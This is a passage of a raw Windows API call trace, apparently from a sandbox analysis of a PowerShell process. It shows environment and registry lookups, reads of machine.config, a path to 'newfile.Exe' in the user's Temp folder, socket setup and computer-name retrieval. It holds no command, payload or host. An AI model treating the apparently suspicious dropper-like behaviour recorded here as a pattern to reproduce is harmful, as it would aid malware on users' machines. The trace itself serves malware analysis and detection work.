lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.173] CoTaskMemFree (pv=0x1b75b7b0) [0086.175] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.175] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.175] CoTaskMemFree (pv=0x1b75b7b0) [0086.181] VirtualQuery (in: lpAddress=0x1c7adf90, lpBuffer=0x1c7aee50, dwLength=0x30 | out: lpBuffer=0x1c7aee50*(BaseAddress=0x1c7ad000, AllocationBase=0x1be20000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.182] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.182] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.183] CoTaskMemFree (pv=0x1b75b7b0) [0086.186] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.186] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.186] CoTaskMemFree (pv=0x1b75b7b0) [0086.186] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.186] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.186] CoTaskMemFree (pv=0x1b75b7b0) [0086.188] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.188] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.188] CoTaskMemFree (pv=0x1b75b7b0) [0086.210] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.210] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.210] CoTaskMemFree (pv=0x1b75b7b0) [0086.283] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.283] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.283] CoTaskMemFree (pv=0x1b75b7b0) [0086.286] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.286] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.286] CoTaskMemFree (pv=0x1b75b7b0) [0086.288] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.288] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.288] CoTaskMemFree (pv=0x1b75b7b0) [0086.295] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.295] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.295] CoTaskMemFree (pv=0x1b75b7b0) [0086.296] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.296] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.297] CoTaskMemFree (pv=0x1b75b7b0) [0086.298] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.298] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.298] CoTaskMemFree (pv=0x1b75b7b0) [0086.300] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.300] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.301] CoTaskMemFree (pv=0x1b75b7b0) [0086.324] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.324] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.324] CoTaskMemFree (pv=0x1b75b7b0) [0086.342] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.342] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.342] CoTaskMemFree (pv=0x1b75b7b0) [0086.348] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.348] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.348] CoTaskMemFree (pv=0x1b75b7b0) [0086.647] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.647] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.647] CoTaskMemFree (pv=0x1b75b7b0) [0086.651] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.651] GetEnvironmentVariableW (in: lpName="Temp", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x24 [0086.651] CoTaskMemFree (pv=0x1b75b7b0) [0086.661] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.661] GetEnvironmentVariableW (in: lpName="Temp", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x24 [0086.661] CoTaskMemFree (pv=0x1b75b7b0) [0087.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c7adaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0087.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c7ad9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0087.234] CoTaskMemAlloc (cb=0x20c) returned 0x1b7511a0 [0087.234] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b7511a0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0087.235] CoTaskMemFree (pv=0x1b7511a0) [0087.257] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x1c7adb50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0087.264] GetCurrentProcess () returned 0xffffffffffffffff [0087.265] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7adab8 | out: TokenHandle=0x1c7adab8*=0x33c) returned 1 [0087.267] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c7ad710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0087.270] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c7adb60 | out: lpFileInformation=0x1c7adb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0087.271] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c7ad6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0087.273] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c7adb10 | out: lpFileInformation=0x1c7adb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0087.275] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c7ad4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0087.275] SetErrorMode (uMode=0x1) returned 0x1 [0087.275] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x35c [0087.275] GetFileType (hFile=0x35c) returned 0x1 [0087.275] SetErrorMode (uMode=0x1) returned 0x1 [0087.275] GetFileType (hFile=0x35c) returned 0x1 [0087.278] GetFileSize (in: hFile=0x35c, lpFileSizeHigh=0x1c7adb08 | out: lpFileSizeHigh=0x1c7adb08*=0x0) returned 0x65b3 [0087.278] ReadFile (in: hFile=0x35c, lpBuffer=0x2edd990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7ada28, lpOverlapped=0x0 | out: lpBuffer=0x2edd990*, lpNumberOfBytesRead=0x1c7ada28*=0x1000, lpOverlapped=0x0) returned 1 [0087.296] ReadFile (in: hFile=0x35c, lpBuffer=0x2edd990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7ad708, lpOverlapped=0x0 | out: lpBuffer=0x2edd990*, lpNumberOfBytesRead=0x1c7ad708*=0x1000, lpOverlapped=0x0) returned 1 [0087.297] ReadFile (in: hFile=0x35c, lpBuffer=0x2edd990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7ad558, lpOverlapped=0x0 | out: lpBuffer=0x2edd990*, lpNumberOfBytesRead=0x1c7ad558*=0x1000, lpOverlapped=0x0) returned 1 [0087.297] ReadFile (in: hFile=0x35c, lpBuffer=0x2edd990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7ad558, lpOverlapped=0x0 | out: lpBuffer=0x2edd990*, lpNumberOfBytesRead=0x1c7ad558*=0x1000, lpOverlapped=0x0) returned 1 [0087.297] ReadFile (in: hFile=0x35c, lpBuffer=0x2edd990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7ad558, lpOverlapped=0x0 | out: lpBuffer=0x2edd990*, lpNumberOfBytesRead=0x1c7ad558*=0x1000, lpOverlapped=0x0) returned 1 [0087.302] CloseHandle (hObject=0x35c) returned 1 [0087.303] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c7adae0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0087.303] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c7ad9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0087.304] CoTaskMemAlloc (cb=0x20c) returned 0x1b7511a0 [0087.304] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b7511a0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0087.304] CoTaskMemFree (pv=0x1b7511a0) [0087.304] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x1c7adb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0087.304] GetCurrentProcess () returned 0xffffffffffffffff [0087.304] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7add18 | out: TokenHandle=0x1c7add18*=0x35c) returned 1 [0087.305] GetCurrentProcess () returned 0xffffffffffffffff [0087.305] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7add18 | out: TokenHandle=0x1c7add18*=0x358) returned 1 [0087.306] GetCurrentProcess () returned 0xffffffffffffffff [0087.306] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7adab8 | out: TokenHandle=0x1c7adab8*=0x360) returned 1 [0087.307] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c7ad6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0087.308] GetCurrentProcess () returned 0xffffffffffffffff [0087.308] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7add18 | out: TokenHandle=0x1c7add18*=0x364) returned 1 [0087.309] GetCurrentProcess () returned 0xffffffffffffffff [0087.309] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7add18 | out: TokenHandle=0x1c7add18*=0x368) returned 1 [0087.314] GetCurrentProcess () returned 0xffffffffffffffff [0087.314] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad998 | out: TokenHandle=0x1c7ad998*=0x36c) returned 1 [0087.331] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad998 | out: TokenHandle=0x1c7ad998*=0x3a0) returned 1 [0087.338] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe", nBufferLength=0x105, lpBuffer=0x1c7add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe", lpFilePart=0x0) returned 0x30 [0087.338] SetErrorMode (uMode=0x1) returned 0x1 [0087.352] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad9f8 | out: TokenHandle=0x1c7ad9f8*=0x37c) returned 1 [0087.373] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad9f8 | out: TokenHandle=0x1c7ad9f8*=0x3ac) returned 1 [0087.388] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad938 | out: TokenHandle=0x1c7ad938*=0x3b0) returned 1 [0087.389] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad938 | out: TokenHandle=0x1c7ad938*=0x3b4) returned 1 [0087.391] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7adf78 | out: TokenHandle=0x1c7adf78*=0x3b8) returned 1 [0087.395] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7ac038 | out: phkResult=0x1c7ac038*=0x3bc) returned 0x0 [0087.395] RegQueryValueExW (in: hKey=0x3bc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c7abfbc, lpData=0x0, lpcbData=0x1c7abfb8*=0x0 | out: lpType=0x1c7abfbc*=0x1, lpData=0x0, lpcbData=0x1c7abfb8*=0xe) returned 0x0 [0087.395] CoTaskMemAlloc (cb=0x12) returned 0x1b78b300 [0087.395] RegQueryValueExW (in: hKey=0x3bc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c7abf8c, lpData=0x1b78b300, lpcbData=0x1c7abf88*=0xe | out: lpType=0x1c7abf8c*=0x1, lpData="Client", lpcbData=0x1c7abf88*=0xe) returned 0x0 [0087.395] CoTaskMemFree (pv=0x1b78b300) [0087.395] RegCloseKey (hKey=0x3bc) returned 0x0 [0087.407] CoTaskMemAlloc (cb=0xcd0) returned 0x1b78be90 [0087.408] RasEnumConnectionsW (in: param_1=0x1b78be90, param_2=0x1c7adfcc, param_3=0x1c7adfc8 | out: param_1=0x1b78be90, param_2=0x1c7adfcc, param_3=0x1c7adfc8) returned 0x0 [0087.417] CoTaskMemFree (pv=0x1b78be90) [0087.426] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c7addd8 | out: lpWSAData=0x1c7addd8) returned 0 [0087.438] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x408 [0087.443] setsockopt (s=0x408, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0087.444] closesocket (s=0x408) returned 0 [0087.445] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x408 [0087.448] setsockopt (s=0x408, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0087.448] closesocket (s=0x408) returned 0 [0087.455] GetCurrentProcess () returned 0xffffffffffffffff [0087.455] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad658 | out: TokenHandle=0x1c7ad658*=0x408) returned 1 [0087.467] GetCurrentProcess () returned 0xffffffffffffffff [0087.467] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7ad658 | out: TokenHandle=0x1c7ad658*=0x40c) returned 1 [0087.477] GetCurrentProcessId () returned 0xd50 [0087.485] CoTaskMemAlloc (cb=0x204) returned 0x170de0 [0087.485] GetComputerNameW (in: lpBuffer=0x170de0, nSize=0x2f0c9e8 | out: lpBuffer="YKYD69Q", nSize=0x2f0c9e8) returned 1 [0087.485] CoTaskMemFree (pv=0x170de0) [0087.486] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7adb38 | out: phkResult=0x1c7adb38*=0x410) returned 0x0 [0087.486] RegQueryValueExW (in: hKey=0x410, lpValueName="Library", lpReserved=0x0, lpType=0x1c7adabc, lpData=0x0, lpcbData=0x1c7adab8*=0x0 | out: lpType=0x1c7adabc*=0x1, lpData=0x0, lpcbData=0x1c7adab8*=0x1c) returned 0x0 [0087.486] CoTaskMemAlloc (cb=0x20) returned 0x1b78ce40 [0087.486] RegQueryValueExW (in: hKey=0x410, lpValueName="Library", lpReserved=0x0, lpType=0x1c7ada8c, lpData=0x1b78ce40, lpcbData=0x1c7ada88*=0x1c | out: lpType=0x1c7ada8c*=0x1, lpData="netfxperf.dll", lpcbData=0x1c7ada88*=0x1c) returned 0x0 [0087.486] CoTaskMemFree (pv=0x1b78ce40) [0087.486] RegQueryValueExW (in: hKey=0x410, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c7adabc, lpData=0x0, lpcbData=0x1c7adab8*=0x0 | out: lpType=0x1c7adabc*=0x4, lpData=0x0, lpcbData=0x1c7adab8*=0x4) returned 0x0 [0087.487] RegQueryValueExW (in: hKey=0x410, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c7adac0, lpData=0x1c7adabc, lpcbData=0x1c7adab8*=0x4 | out: lpType=0x1c7adac0*=0x4, lpData=0x1c7adabc*=0x1, lpcbData=0x1c7adab8*=0x4) returned 0x0 [0087.487] RegQueryValueExW (in: hKey=0x410, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c7adabc, lpData=0x0, lpcbData=0x1c7adab8*=0x0 | out: lpType=0x1c7adabc*=0x4, lpData=0x0, lpcbData=0x1c7adab8*=0x4) returned 0x0 [0087.487] RegQueryValueExW (in: hKey=0x410, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c7adac0, lpData=0x1c7adabc, lpcbData=0x1c7adab8*=0x4 | out: lpType=0x1c7adac0*=0x4, lpData=0x1c7adabc*=0x137a, lpcbData=0x1c7adab8*=0x4) returned 0x0 [0087.487] RegCloseKey (hKey=0x410) returned 0x0 [0087.490] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7adaf8 | out: phkResult=0x1c7adaf8*=0x410) returned 0x0 [0087.490] RegQueryValueExW (in: hKey=0x410, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c7ada7c, lpData=0x0, lpcbData=0x1c7ada78*=0x0 | out: lpType=0x1c7ada7c*=0x4, lpData=0x0, lpcbData=0x1c7ada78*=0x4) returned 0x0 [0087.490] RegQueryValueExW (in: hKey=0x410, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c7ada80, lpData=0x1c7ada7c, lpcbData=0x1c7ada78*=0x4 | out: lpType=0x1c7ada80*=0x4, lpData=0x1c7ada7c*=0x3, lpcbData=0x1c7ada78*=0x4) returned 0x0 [0087.490] RegQueryValueExW (in: hKey=0x410, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c7ada7c, lpData=0x0, lpcbData=0x1c7ada78*=0x0 | out: lpType=0x1c7ada7c*=0x4, lpData=0x0, lpcbData=0x1c7ada78*=0x4) returned 0x0 [0087.490] RegQueryValueExW (in: hKey=0x410, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c7ada80, lpData=0x1c7ada7c, lpcbData=0x1c7ada78*=0x4 | out: lpType=0x1c7ada80*=0x4, lpData=0x1c7ada7c*=0x20000, lpcbData=0x1c7ada78*=0x4) returned 0x0 [0087.490] RegQueryValueExW (in: hKey=0x410, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c7ada7c, lpData=0x0, lpcbData=0x1c7ada78*=0x0 | out: lpType=0x1c7ada7c*=0x3, lpData=0x0, lpcbData=0x1c7ada78*=0xaa) returned 0x0 [0087.490] RegQueryValueExW (in: hKey=0x410, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c7ada7c, lpData=0x2f0fcb0, lpcbData=0x1c7ada78*=0xaa | out: lpType=0x1c7ada7c*=0x3, lpData=0x2f0fcb0*, lpcbData=0x1c7ada78*=0xaa) returned 0x0 [0087.492] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0087.495] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x1c7ada30, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x414 [0087.496] LocalFree (hMem=0x1b791140) returned 0x0 [0087.497] RegCloseKey (hKey=0x410) returned 0x0 [0087.498] GetVersionExW (in: lpVersionInformation=0x1c7aca00*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c7aca00*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0087.499] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f10960, cbSid=0x1c7ada10 | out: pSid=0x2f10960*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ada10) returned 1 [0087.500] CreateMutexW (lpMutexAttributes=0x2f10b68, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0087.501] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0087.502] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f10e80, cbSid=0x1c7ad970 | out: pSid=0x2f10e80*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ad970) returned 1 [0087.503] GetProcessTimes (in: hProcess=0x418, lpCreationTime=0x1c7ad980, lpExitTime=0x1c7ad978, lpKernelTime=0x1c7ad970, lpUserTime=0x1c7ad968 | out: lpCreationTime=0x1c7ad980, lpExitTime=0x1c7ad978, lpKernelTime=0x1c7ad970, lpUserTime=0x1c7ad968) returned 1 [0087.503] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f11e80, cbSid=0x1c7ada10 | out: pSid=0x2f11e80*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ada10) returned 1 [0087.504] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f12ca0, cbSid=0x1c7ada10 | out: pSid=0x2f12ca0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ada10) returned 1 [0087.504] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f13ab8, cbSid=0x1c7ada10 | out: pSid=0x2f13ab8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ada10) returned 1 [0087.504] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f148c8, cbSid=0x1c7ada10 | out: pSid=0x2f148c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ada10) returned 1 [0087.504] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f156d8, cbSid=0x1c7ad9c0 | out: pSid=0x2f156d8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ad9c0) returned 1 [0087.505] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f16500, cbSid=0x1c7ad9c0 | out: pSid=0x2f16500*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ad9c0) returned 1 [0087.505] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f172f8, cbSid=0x1c7ad9c0 | out: pSid=0x2f172f8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7ad9c0) returned 1 [0087.505] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f18100, cbSid=0x1c7ad9c0 | out: pSid=0x2f18100*(Revision=0x1, 